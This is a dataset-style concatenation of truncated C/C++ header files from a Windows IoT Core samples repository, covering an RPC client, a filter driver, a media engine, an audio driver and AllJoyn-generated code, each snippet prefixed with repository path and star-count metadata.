#include <pwm.h>
#include <pwmutil.h> |
nygrenj/Windows-iotcore-samples | Samples/NTServiceRpc/cpp/RpcClient.h | //
// RpcClient.h
//
#pragma once
#define RPC_STATIC_ENDPOINT L"NTServiceSampleRpcEndpoint"
#include "RpcInterface_h.h"
#include <stdexcept>
namespace NTServiceRpc
{
class RpcCallException : public std::runtime_error
{
public:
RpcCallException(RPC_STATUS error);
};
class RpcRemoteExcep... |
nygrenj/Windows-iotcore-samples | Samples/IoTOnboarding/CS/IoTOnboardingUtils/pch.h | <gh_stars>1000+
#pragma once
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <stdio.h>
|
nygrenj/Windows-iotcore-samples | Drivers/WaveshareFilterKmdf/WaveshareFilterKmdf/filter.h | <gh_stars>100-1000
/*++
Copyright (c) Microsoft Corporation. All rights reserved.
THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR
PURPOSE.
M... |
nygrenj/Windows-iotcore-samples | Samples/InternetRadio/CPP/lib/UniversalMediaEngine/UniversalMediaEngine/MediaEngineManager.h | #pragma once
using namespace Windows::Storage::Streams;
namespace Microsoft {
namespace Maker {
namespace Media {
namespace UniversalMediaEngine
{
partial ref class MediaEngine;
}
}
}
}
class MediaEngineNotify;
class MediaEngineManager : public IMFMediaEngineNotify
{
public:
MediaEngineManager(M... |
nygrenj/Windows-iotcore-samples | Demos/Kegocnizer/CS/Sensors.Temperature/pch.h | // Copyright © 2015 <NAME>
//
// This file is part of the Dht Solution.
//
// Dht Solution is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later ... |
nygrenj/Windows-iotcore-samples | Samples/IoTOnboarding/CS/IoTOnboardingUtils/MACFinder.h | // Copyright (c) Microsoft. All rights reserved.
#pragma once
namespace IoTOnboardingUtils
{
public ref class MACFinder sealed
{
public:
static Platform::String^ GetWiFiAdapterMAC();
};
};
|
nygrenj/Windows-iotcore-samples | Samples/VirtualMicrophoneArrayDriver/Cpp/VirtualAudioMicArray/minwavert.h | <gh_stars>1000+
/*++
Copyright (c) Microsoft Corporation All Rights Reserved
Module Name:
minwavert.h
Abstract:
Definition of wavert miniport class.
--*/
#ifndef _SYSVAD_MINWAVERT_H_
#define _SYSVAD_MINWAVERT_H_
//=============================================================================
// Referenc... |
nygrenj/Windows-iotcore-samples | Samples/NTServiceRpc/cpp/Service/Server/ServiceControl.h | <reponame>nygrenj/Windows-iotcore-samples<gh_stars>100-1000
#pragma once
#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <string>
namespace RpcServer
{
class ServiceControl
{
public:
DWORD GetServiceStatus(const wchar_t *serviceName);
void RunService(const wchar_t *s... |
nygrenj/Windows-iotcore-samples | Samples/InternetRadio/CPP/InternetRadioDevice/InternetRadioAllJoyn/InternetRadioServiceEventAdapter.h | //-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
//
// Tool: AllJoynCodeGenerator.exe
//
// This tool is located... |
nygrenj/Windows-iotcore-samples | Samples/InternetRadio/CPP/InternetRadioDevice/InternetRadioAllJoyn/InternetRadioMethodResults.h | <filename>Samples/InternetRadio/CPP/InternetRadioDevice/InternetRadioAllJoyn/InternetRadioMethodResults.h
//-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be l... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.